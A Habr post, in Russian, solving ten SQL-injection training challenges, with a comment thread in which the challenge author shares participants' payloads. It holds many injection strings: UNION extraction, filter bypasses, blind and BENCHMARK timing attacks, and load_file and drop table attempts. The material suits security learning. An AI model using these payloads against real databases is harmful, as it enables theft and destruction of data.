Решение задач по sql injection с сайта alexbers.com/sql

Хочу поделиться с «Хабрахабром» примером своих решений задач по sql-инъекциям с сайта alexbers.

Пример 1: www.alexbers.com/sql/1.php


Это даже и не пример. Требуется самому написать запрос с заранее известными всем таблицами, именем пользователя.
Дано: 
Таблица: users
Поля: id,login,pass 

Решение:
select * from users where id='12'

а ссылка будет выглядеть вот так:
https://www.alexbers.com/sql/1.php?text=select+*+from+users+where+id%3D%2712%27

Просто запрос со всеми данными, которые нам заведомо известны.

Пример 2: www.alexbers.com/sql/qnbutn2.php


Нам продемонстрирован запрос:
select * from users where id=2 or login='$text' 

Дано:
Таблица: users
Поля: id,login,pass 
Требование: Ура, я знаю ответ(пароль юзера с id=9):

В этом примере показана примитивная уязвимость: входные данные никак не фильтруются. Поэтому мы можем воспользоваться кавычкой:
https://www.alexbers.com/sql/qnbutn2.php?text=-1' or  id='9

Что мы сделали? Мы привели запрос к такому виду:
select * from users where id=2 or login='-1' or  id='9'

Мы пытаемся извлечь из таблицы users пользователя с id=2 или с login=1 или с id=9, которая взята кавычкой слева и будет закрыта кавычкой оригинального запроса. Поскольку пользователя -1 не существует, мы из этого запроса ничего не получаем, зато id=9 существует. В результате получаем вывод из 2-х строк — пользователь с id=2 и с id=9.

Пример 3: www.alexbers.com/sql/sdjjy3.php



Опять виден запрос:
select * from users where id=2 or login='$text' limit 1 

Дано:
Таблица: users
Поля: id,login,pass 
Требование: Ура, я знаю ответ(пароль юзера с id=13):

Различие с предыдущим примером — ограничение на вывод в 1 строку. Уходит приплясывая при постановке комментария, который «уберет» конец строки, т.е. Он не будет обработан.

Решение:
https://www.alexbers.com/sql/sdjjy3.php?text=-1' or id=13 -- 123

Вид запроса:
select * from users where id=2 or login='-1' or id=13 -- 123' limit 1 

Таким образом мы выкидываем ограничение и извлекаем пользователя с id=13.

Пример 4: www.alexbers.com/sql/qjqhweh4.php



Запрос:
select * from users where id=2 or login='$text' limit 1 

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 3 поля
Требование: Ура, я знаю ответ(данное секретной таблицы с полем ggg=abc):

Чуток поинтересней. Теперь у нас 2 таблицы и запрос выполняется не к той таблице, которая нам нужна. Воспользуемся классическим способом. В mysql существует оператор, который позволяет выполнять запрос к разным таблицам через 1 запрос. Для работы с объединением запросов нам необходимо, чтобы во всех объединяемых запросах количество полей было одинаковым. Воспользуемся оператором UNION. По задаче требуется найти данное секретной таблицы с полем ggg=abc. Количество полей в столбцах одинаково, потому запрос примет вид:

Запрос:
https://www.alexbers.com/sql/qjqhweh4.php?text=-1'+union+select+* from secret where ggg='abc'+--+123

Один из результатов и будет ответом на уровень.

Пример 5: www.alexbers.com/sql/sdfkjsdk5.php



Запрос:
select * from users where id=2 or login='$text' limit 1

Дано:
Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 2 поля
Требование: Ура, я знаю ответ(данное секретной таблицы):

Попробуем повторить предыдущий пример. Узнаем сколько колонок в таблице users, извлечем список всех колонок для секретной таблицы. В данный момент у нас нет одинакового количества колонок, поэтому union надо использовать по-другому.
https://www.alexbers.com/sql/sdfkjsdk5.php
?text=1' union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'--+123

Видим, что у нас в таблице secret – находится 2 колонки, извлечем их значения:
https://www.alexbers.com/sql/sdfkjsdk5.php?text=-1' union select 1,dfgdfgfdg,dfgfddfgdfdfdf from secret-- 123

Видим ответ.

Пример 6: www.alexbers.com/sql/skldj6



Запрос:
select * from users where id=$text limit 1 

Дано:
Таблицы: users
Поля: id,login,pass - это в users. 
Фильтруются кавычки, выводится только 1 строка из БД
Требование: Ура, я знаю ответ(пароль пользователя с ником god):

Здесь видно непонимание принципов работы фильтра mysq_real_escape_string, когда значение переменной id не помещено в кавычки. Тогда, хоть они и 50 раз фильтруются, они нам и не нужны, для текстовых полей можно будет использовать функцию CHAR() или перевести в hex.
https://www.alexbers.com/sql/skldj6.php?text=-1 union select id,login,pass from users where login=0x676f64


Пример 7: www.alexbers.com/sql/dsfhsdjkf7.php



Дано:
Таблицы: users
Поля: id,login,pass - это в users.Теперь всегда выводится только первая строка ответа(остальные не выводятся)
Фильтруются символы ',",+,=,запятая,пробел,скобки
Требование: Ура, я знаю ответ(пароль пользователя, с ником, содержащим в себе gentoo):

Запрос:
select * from users where id=$text limit 1 

Поскольку выборка идет сразу по нужной нам таблице, то даже не придется использовать второй запрос. Пробелы заменяются на комметарии /**/ и /*!*/, остается только одна проблема — фильтруется знак равенства. Но его можно обойти, используя оператор like. Сравние со строкой предполагает кавычки, поэтому закодируем ее в hex. Также, нам доподлинно неизвестен ник, который мы ищем, поэтому будем использовать поиск по маске со значком % в логине. Итоговый вектор атаки примет вид:
https://www.alexbers.com/sql/dsfhsdjkf7.php?text=-1/*!or/*!login*/like/**/0x2567656e746f6f25


Пример 8: www.alexbers.com/sql/qqqwwweeerrr8.php



Запрос:
select * from users where id=$text

Дано:
Таблицы: users
Поля: id,login,pass - это в users.
Подсказка: сообщения от ошибках не выведутся 
Требование: Ура, я знаю ответ(пароль пользователя, с ником fast)

Единственное, что нам вообще что-то выводится — информация о том, что произошла какая-то ошибка, или количество выведенных записей. Количество выводимых записей — единственное число, которым мы можем управлять. От нас требуется получить пароль от пользователя. Пароль — это некоторая информация, записываемая в числово-буквенном виде. Все, чем мы можем оперировать — цифры. Значит пароль надо представить в численном виде. Если взять и перевести каждый символ в ascii–вид, то любой символ из пароля будет в виде числа. Для отделения символа воспользуемся функцией mid(), для перевода в ascii – функция ascii(), вектор атаки получится вот таким:
https://www.alexbers.com/sql/qqqwwweeerrr8.php
?text=-1 or id<=(select ascii(mid(pass,1,1)) from users where login='fast')

Вывод даст нам ascii-представление первого символа пароля. Дальше делаем запрос для второго и т.д.

Пример 9: www.alexbers.com/sql/almost9.php



Таблицы: users
Поля: id,login,pass - это в users.
Запрос: select * from users where id=$text
Требуется: "Ура, я знаю ответ (числовая сумма логинов пользователей с 20<=id<=30)".

То есть нам надо вытащить числовое значение каждого логина и сложить. При этом будем оперировать следующим сравнением:

Вектор атаки разделяется на 2 запроса:
https://www.alexbers.com/sql/almost9.php
?text=-1 or id <= cast((select sum(login) from users where id between 20 and 30) as signed INTEGER)/10
https://www.alexbers.com/sql/almost9.php
?text=-1 or id <= MOD(cast((select sum(login) from users where id between 20 and 30) as signed INTEGER),10)

Всего в таблице 1069 записей, поэтому мы не сможем вывести ответ за один

пример 10



Решение 10й задачи описано уже на ютубе, посмотреть можно вот здесь: www.youtube.com/watch?v=dLSxTGvwcLw
  • –1
  • 15,8k
  • 4
Поделиться публикацией
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама
Комментарии 4
  • +3
    Куча ошибок, в том числе в том, как раскручивать инъекции, куча того, что показывает что вы не знаете многое по sql injection, нет решения на самые интересные инъекции. То что вы написали — статья новичка на античате в середине 2000-ых.
    • НЛО прилетело и опубликовало эту надпись здесь
    • +6
      Очень приятно, что мои 10 задачек на sql injection решают спустя почти 7 лет после их создания.

      Нашёл письма которые были высланы первым участникам с прохождением.

      Уровни 1-9
      как надо было проходить челендж по sql инъекциям(http://209.250.241.67/sql/)
      ссылка была дана 23.10.2008 ~18:00
      потом было дано несколько недель на прохождение
      итаак…

      === ВОРНЕНГ ===

      !!!
      !!! если хотите попроходить сами, не читайте дальше!!!
      !!! если не хотите, листайте вниз!!!
      !!!

      Ну… раз не хотите…
      === ЛЕВЕЛ 1 ===
      1.php(прошли 29 раз)

      Тут все просто: вводим запрос, получаем ответ.
      Как я проходил: select * from users
      Прошли первый раз в 18:07:14
      Как проходили вы:
      так же
      select pass from users where id = 12
      ну и всё такое в этом духе

      Жгли:
      drop database level1 =)
      drop table users =))
      select version()
      show tables
      select 'hello'
      select id from users
      SELECT PASSWORD('badpwd');
      SELECT PASSWORD('god');
      select ord('god')
      select char(103)
      select char(103,103)
      select count(*)
      select count(*) from users
      select char(103,103,104)
      select quote(103)
      select hex('1')
      select hex(«select hex('1')»)
      0x73656C656374206865782827312729
      select * from level2.useres
      select hex('gentoo')
      %FB%F0%F9%F6%F4+%E5%F4%E8%E4%F3%FB
      select @@datadir
      select load_file('../../../etc/apache/httpd.conf')
      select system('ls')
      select exec('ls')
      SELECT database()
      SELECT load_file('level1/users.MYD')
      SELECT * from users UNION SELECT * FROM users INTO OUTFILE 'file.txt'
      SELECT @@max_allowed_packet
      SELECT table_name,null FROM information_schema.tables
      SELECT load_file('/var/lib/mysql/level1/users.MYD')

      странно, не было ни одного insert'a, create table'а, create database'ы

      Правильный ответ: QwErTy
      Пробовали ответы: %09QwErTy, qwerty, всякие виды sql инъекций

      == ЛЕВЕЛ 2 ==
      qnbutn2.php(прошли 18 раз)

      Тут надо было использовать моск и кавычку.
      Кавычку, для того чтобы закрыть запрос, дальше
      дополняем запрос так, чтобы условие всегда выполнялось,
      а потом так, чтобы еще одна ошибка не была синтаксической ошибкой

      Как я проходил: ' or 1=1 or login='
      Прошли первый раз в 18:10:12
      Как проходили вы:
      qwer' or 1=1#
      asd' union all select * from users where id='9
      $text' UNION SELECT * FROM users where id = 9 or login = '44
      ' OR id=9 OR login='
      ' or id=9 or id='
      qwer'union select * from users where id='9
      select * from users where id=2 or login=$text' or id=9 or
      '$text=''qwer -изврат ))
      123' or id='9
      qwe' or id = 9 order by id asc, 'a

      Жгли:
      qwerty' or id=3 or login='
      qwer' union select 1,2,HEX('aaa') from users #
      qwer' union select 1,2,HEX(«10 union select * from users where login
      like 'gentoo' order by login asc») from users #
      qwer' union select 1,2,CONCAT('0x',HEX('c:\\boot.ini'))#
      qwer' union select 1,2,hex(«qwer' union select 1,2,hex()»)#

      неожиданно много неправильных запросов с ошибками

      Правильный ответ: secreto
      Пробовали ответы: fghfghgfh,rewq,select pass from users where id=9,qqwe

      == ЛЕВЕЛ 3 ==
      sdjjy3.php(прошли 11 раз)

      Тут фишка с комментами была, что перед и после комментов должен быть
      пробельный символ. Без комментов тяжело.

      Как я проходил: ' or id=13 — Прошли первый раз в 18:11:21(быстро, блин)
      Как проходили вы:
      qwer' union select * from users where id=13# — и это с первой попытки
      asd' limit 0 union all select * from users where id='13
      ' limit 0 union select * from users where id=13 or id='
      $text' or id = 13 order by id desc, 'as
      ' or id=13 ORDER BY id DESC,'h
      ' or id=13 order by 2,'
      ' or id=13 order by 1 desc,'
      ' union select * from users where id=13 ORDER BY id DESC,'id
      ' limit 0 union select * from users where id=13 or login='ff

      Жгли:
      ' or id=13 ORDER BY 'rand()

      Правильный ответ: iwanttogo4
      Пробовали ответы: rewq

      == ЛЕВЕЛ 4 ==
      qjqhweh4.php(прошли 8 раз)

      Как я проходил: ' union select * from secret where ggg='abc' — Прошли первый раз в 18:15:03
      Как проходили вы:
      qwer' union select * from secret where ggg='abc' #
      asd' limit 0 union all select * from secret where ggg='abc
      ' limit 0 union select * from secret where ggg='abc
      a' UNION SELECT * FROM secret WHERE ggg='abc' ORDER BY id DESC, 'a
      ' union select * from secret where ggg='abc' order by id desc, '
      ' union select * from secret — aa' limit 0 union select * from secret where ggg='abc' or ggg='

      Правильный ответ: dg
      Пробовали ответы: dfgdfg

      == ЛЕВЕЛ 5 ==
      sdfkjsdk5.php(прошли 7 раз)

      Как я проходил: ' union select *,1 from secret — Прошли первый раз в 18:18:40
      Как проходили вы:
      asd' limit 0 union all select *,1 from secret where 'a'='a
      ' limit 0 union select *,0 from secret where ''='
      qwer' union select *,null from secret #
      a' UNION SELECT *, 0 as id FROM secret ORDER BY id DESC, 'a
      ' or id=14 union select *,5 from secret order by 1 desc, '
      aa' limit 0 union select *,0 from secret where 'a'='a

      Правильный ответ: thisisapass232
      Пробовали ответы: sdfsdf

      == ЛЕВЕЛ 6 ==
      skldj6.php(прошли 7 раз)

      Тут надо было написать запрос без кавычек… не очень сложно. Ещё надо
      было вспомнить что в mysql есть встроенные функции.

      Как я проходил: 0 or login=CHAR(103,111,100)
      Кстати perl -le "$_='god'; print ord for(split //,$_)"
      Прошли первый раз в 18:27:09
      Как проходили вы(както извращенско):
      111111 or (LOCATE(char(103), login)=1 and LOCATE(char(111), login)=2)
      — небанально )))
      9999999999 or ord(login)=103 limit 2,1 — -55 or (ord(SUBSTRING(login,1,1)) = 103 and ord(SUBSTRING(login,2,1))
      = 111 and ord(SUBSTRING(login,3,1)) = 100)
      10 union select * from users where
      login=CONCAT(CHAR(103),CHAR(111),CHAR(100)) order by login desc
      10 union select * from users where login like
      CONCAT(CHAR(103),CHAR(111),CHAR(100)) order by id desc
      -1 or login like 0x25676F25
      перебором ещё пробовали. я писал что база длинная, чтоб не пробовали
      Жгли:
      666
      -55 UNION SELECT count(*) as id,0 as login, 0 as pass from users

      Правильный ответ: ivarywantlevel7
      Пробовали ответы: к 6-му левелы поняли что answer.php не ломается, не
      попробовали ни одного неправильного ответа

      == ЛЕВЕЛ 7 ==
      dsfhsdjkf7.php(прошли 4 раза)

      Тут всё сложнее. Надо было вспомнить что строковые константы можно
      писать как 0x12345678.
      Вместо пробелов можно использовать табуляцию или /**/(пустой коммент)
      Очень много людей не прошли этот уровень.

      Как я проходил:
      0/**/union/**/select*from/**/users/**/where/**/login/**/like/**/0x2567656e746f6f25
      Прошли в первый раз в 19:27:31 — проходили целый час… и то помоему я
      тогда пришёл и прошёл первым
      Как проходили вы:
      0/**/union/**/select/**/*/**/from/**/users/**/where/**/login/**/like/**/0x25676525
      — вот помоему мой запрос
      10/**/union/**/select*from/**/users/**/where/**/login/**/like/**/0x2567656E746F6F25/**/order/**/by/**/id/**/desc
      (20:44:57)
      -1/**/or/**/login/**/like/**/0x25676525 (1:14:09)
      опять были попытки брута… много попыток
      Жгли:
      space(1) — помню сначала скобки не фильтровались, потом мне это
      сказали и оне столи фильтроватся
      к этому моменту уровень ещё никто не прошёл
      Можно было проходить так:
      209.250.241.67/sql/dsfhsdjkf7.php?text=-1%09or%09login%09like%090x25676525
      Или так:
      209.250.241.67/sql/dsfhsdjkf7.php?text=-1%0Aor%0Alogin%0Alike%0A0x25676525

      Правильный ответ: level8please
      Пробовали ответы: iwanttogo4, 13, 3lvl, gentoo, '

      == ЛЕВЕЛ 8 ==
      qqqwwweeerrr8.php(прошли 2 раза)

      Этот не прошли ещё больше людей.
      Как надо было проходить? Сравните:
      0 union select * from users where login='fast' and ascii(substr(pass,1,1))>80
      0 union select * from users where login='fast' and ascii(substr(pass,1,1))<80

      Если нам написали количество записей 1, то условие, что код первой
      буквы <80 выполнилось,
      так угадываем первую букву, потом вторую, и так до последней буквы.

      Прошли первый раз в 20:40:47

      Как проходили вы:
      1 limit 1 union select * from users where login='fast' and pass like '%a%'
      и в like угадывали в таком порядке:
      ab,ac,a,ab,q,9,..., попытки сбрутить 1-ую букву, к несчастию
      это оказалась цифра 9… брутили долго, попытки сбрутить вторую букву… начали
      на этот раз с цифр, дошли до l, догадались что это часть от lev,…,
      попытки сбрутить следующую букву… уже полюбому скрипт написали, узнали что
      следующая — l, потом p, потом a сразу же, потом 2-е ss, потом еще
      зачемто попытались
      следующую брутить, неполучилось, потом подумали что s последнюю не
      угадали, начали
      опять её брутить, сбрутили s. Получилось 9levlpass

      второй ктото догадался что в слове есть часть pass, первая часть слова похожа
      на level, узнал какие буквы есть в слове, и что в нем есть цифра 9

      Правильный ответ: 9levlpass
      Пробовали ответы: iwantlevel9,as, pass, fast

      == ЛЕВЕЛ 9 ==
      almost9.php(прошли 1 раз)

      Прошли первый раз в 23:40:42(в 27 и в 40 минут почему-то прошли 4 левела из 9)
      Этот был даже легче чем 8-ой(передышка перед 10-ым), проходили так:
      -1 union select 0,0,sm from (select sum(login) as sm from users where
      20 <= id and id <= 30) as a where sm > 2000
      ну и так сбрутили число

      Правильный ответ: 2225

      == ЛЕВЕЛ 10 ==
      lastlevel10.php(не прошёл никто) / кроме меня =)

      Щас вышлю отдельным письмом как он ломался.

      Пробовали ответы: qwerty, morkovka, MoRkoVkA, MaRkoVkA, MaRkoFfKa,
      levl10pass, level10pass, carrot
      carrot%FB, carrots, c1, bdsfgf, fgsdfgsdfgsdfgsd ,,
      bay, loginov, pass, level10please,
      fuck, qerdtfyghjkl%3B, йцукен, qwerty, QwEr, 1234

      P.S. чето дохло его пытались сломать, даже близко никакой попытки не было
      Решил что завтра вечером письмо вышлю, когда в ебург
      приеду(~23:00 если не забуду),
      а седня ещё можно его ломать. Морковок еще из дома возьму)))

      Уровень 10
      10ый уровень ломался сложно!

      условие: ничего не известно, ничего не выводиться.
      Но запрос выполняется!!!

      Вот этим и надо было воспользоваться.

      Проблема 1 — неизвестно имя таблицы
      Решение: на первым экране сказано что установлена mysql.
      У ней есть база данных information_schema. В ней есть таблицы TABLES
      и COLUMNS, которые описывают соответственно таблицы и колонки баз
      данных, к которым
      разрешён доступ для текущего пользователя. Их надо было использовать.
      Например запрос SELECT TABLE_NAME from information_schema.TABLES
      where TABLE_SCHEMA='level10' выведет имена таблиц.

      Проблема 2 — черт, ничего не выводиться
      С этим сложнее. Я решал так: в mysql есть функция BENCHMARK. У неё 2
      параметра: сколько раз выполнять и какую функцию. Этой функцией удобно
      делать задержки.
      Например можно сделать задержку в 2-е секунды.
      Фишак вот в чем: составляем такое условие «SELECT поле FROM таблица
      WHERE код первой буква поля>50 и benchmark(9999999,md5(поле)) LIMIT
      1».
      Если первая часть условия(до «и») не выполнилась, то вторая не будет
      считаться («и»=1 <=> левая часть=1 и правая часть=1; левая часть=0 =>
      «и»=0)
      Засекаем время, за которое мы получили ответ от сервера. Выесняем,
      выполнилась или нет левая часть. Если выполнилась то код первой буквы
      > 50.
      Так угадываем 1-ую букву, потом 2-ую, и так до конца.
      Кстати, функция в benchmark'е должна зависеть от значения какой
      нибудь записи в таблице(а то ничего не получится)
      В аттаче сполойт, который делает то, что написано выше. На нормальном
      интернетовском канале не врет. Если будет врать можно поменять
      константы в начале, и врать будет меньше, но работать — дольше.

      ======================================

      10-ый уровень не прошёл никто(((
      Я пытался сделать его полегче, полностью выключил фильтрацию, сделал 1
      таблицу с 1-ой записью и 5 полями, чтобы долго не ломали.
      Всеравно получилось сложновато(но ломаемо)

      P.S. некоторые интересные факты об игре
      — игра писалась 2 дня
      — самое главное условие для меня было чтобы все уровни были проходимы
      — ещё, большое внимание было уделено к тому чтоб, например, из 1-го
      уровня нельзя было пройти 5-ый, или испортить какуюнить таблицу,
      сделав уровень непроходимым
      — answer.php не ломался

      P.P.S спасибо за игру))

      Сейчас я занимаюсь исследованиями в области Identity Federations в университете KIT(Германия) на трехмесячной стажировке.

      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.